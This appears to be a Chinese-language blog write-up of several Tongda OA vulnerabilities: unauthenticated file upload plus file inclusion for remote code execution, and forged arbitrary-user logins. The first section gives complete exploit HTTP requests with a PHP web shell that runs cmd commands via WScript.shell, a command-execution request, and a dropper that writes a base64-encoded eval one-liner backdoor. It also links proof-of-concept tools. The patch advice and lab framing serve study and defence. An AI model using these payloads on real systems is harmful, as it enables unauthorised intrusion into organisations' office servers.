通達 OA 介紹#
通達 OA 是北京通達信科科技有限公司出品的 "Office Anywhere 通達網絡智能辦公系統"。
文件上傳 & 文件包含 getshell#
漏洞信息:
3 月 13 日,通達 OA 在官方論壇發布通告稱,近日接到用戶反饋遭到勒索病毒攻擊,提示用戶注意安全風險,並且於同一天對所有版本發布了加固補丁。
在受影響的版本中,攻擊者可以在未認證的情況下向伺服器上傳 jpg 圖片文件,然後包含該文件,造成遠程代碼執行。該漏洞無需登錄即可觸發。
漏洞級別:高危
漏洞影響版本:
- V11 版
- 2017 版
- 2016 版
- 2015 版
- 2013 增強版
- 2013 版
漏洞原理:
該漏洞存在於以下兩個鏈接中:
任意文件上傳漏洞 /ispirit/im/upload.php
本地文件包含漏洞 /ispirit/interface/gateway.php
有些版本gateway.php路徑不同
如2013:
/ispirit/im/upload.php
/ispirit/interface/gateway.php
2017:
/ispirit/im/upload.php
/mac/gateway.Php
本文使用的v11版本路徑為
/ispirit/im/upload.php
/ispirit/interface/gateway.php
訪問任意文件上傳漏洞路徑/ispirit/im/upload.php
通達 OA 使用zend
加密,需要使用SeayDzend
工具解密。
這個工具同樣出自Seay
師傅之手(Seay 源代碼審計系統就是出自這個師傅)。
也可以使用在線加解密網站。
比較安裝補丁前後的文件ispirit/im/upload.php
如下:
可以看出upload.php
在修復前如果$P
非空就不需要通過auth.php
驗證即可執行後續代碼,
利用此處邏輯伸縮可繞過登錄驗證直接上傳文件。
往下走遇到$DEST_UID
同樣也可以通過POST
的方式自行賦值。
接著到了判斷文件的點,此處可以知道文件上傳的變量名為ATTACHMENT
。
繼續跟進upload
函數跳轉到文件inc/utility_file.php
。
這裡對上傳的文件進行了一系列的檢查,包括黑名單等限制。
那麼我們上傳jpg
格式的php
代碼,然後文件包含即可。
漏洞復現:
首先自行下載 11.3安裝包。
下載完源碼後全部默認安裝一直下一步,安裝完後訪問localhost
或者你本地的ip
。
在未登錄狀態訪問任意文件上傳漏洞路徑/ispirit/im/upload.php
。
訪問路徑顯示- ERR 用戶未登錄
,此時 burp 抓包攔截並修改為如下:
POST /ispirit/im/upload.php HTTP/1.1
Host: 10.103.51.104
Content-Length: 655
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBwVAwV3O4sifyhr3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="P"
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundaryBwVAwV3O4sifyhr3--
這裡使用了COM
組件wscript.shell
來繞過disable_function
。
打開文件夾可以看到未經過登錄驗證成功上傳了 jpg 文件:
接下來訪問文件包含利用的鏈接:/ispirit/interface/gateway.php
,
POST
給json
賦值,指定key
為url
,value
為文件位置。
修改為如下:
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 10.103.51.104
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
json={"url":"/general/../../attach/im/2009/1066533428.jpg"}&cmd=whoami
成功執行命令!也可以把圖片馬的內容改為執行寫入一句話的命令:
<?php
$fp = fopen('test.php', 'w');
$a = base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==");
fwrite($fp, $a);
fclose($fp);
修改文件名發包執行文件包含後,shell
被成功寫入:
修復建議:
官方通告:https://www.tongda2000.com/news/p673.php
參考文章:
任意前台登錄漏洞#
漏洞信息:
通達 OA 是一套國內常用的辦公系統,其此次安全更新修復的高危漏洞為任意用戶登錄漏洞。攻擊者在遠程且未經授權的情況下,通過利用此漏洞,可以直接以任意用戶身份登錄到系統(包括系統管理員)。
漏洞級別:高危
漏洞影響版本:
- 通達 OA < 11.5.200417
漏洞原理:
解密工具參照第一部分漏洞原理。
漏洞復現
首先,不登錄界面打開查看cookie
:
使用POC
工具TongDaOA-Fake-User
獲取鏈接cookie
:
將原來的cookie
修改為POC
獲取到的cookie
:
訪問/general/index.php
即可直接訪問系統:
修復建議:
- 打補丁:https://www.tongda2000.com/download/sp2019.php
- 使用 WAF 攔截。
參考文章:
任意用戶登錄漏洞(匿名 RCE)#
漏洞信息:
偽造任意用戶(含管理員)登錄漏洞的觸發點在掃碼登錄功能,服務端只取了 UID 來做用戶身份鑑別,由於 UID 是整型遞增 ID,從而導致可以登錄指定 UID 用戶(admin 的缺省 UID 為 1)。
漏洞級別:高危
漏洞影響版本:
- 通達 OA v2017、v11.x < v11.5 支持掃碼登錄版本。
漏洞原理:
v11.5
更新修復了客戶端掃碼登錄和Web
端掃碼登錄接口。
Web 端掃碼登錄流程大致流程分四步:
-
Web 端訪問 /general/login_code.php?codeuid = 隨機字符串 生成一個二維碼,codeuid 作為這個二維碼憑證。
-
Web 端通過循環請求 /general/login_code_check.php,將 codeuid 發送到服務端,判斷是否有人掃了這個二維碼。
-
移動端掃碼這個二維碼,然後將 codeuid 等數據發送到 /general/login_code_scan.php 服務端進行保存。
-
Web 端通過 login_code_check.php 取得 codeuid 等掃碼數據後(其實取數據這一步已經產生 $_SESSION ["LOGIN_UID"] 登錄了),再通過 Web 端發送到 logincheck_code.php 進行登錄。
Web 端登錄請求腳本如下:
漏洞復現:
POC&EXP
工具:https://github.com/zrools/tools/tree/master/python
修復建議:
參考文章:
任意文件刪除 getshell#
本文完。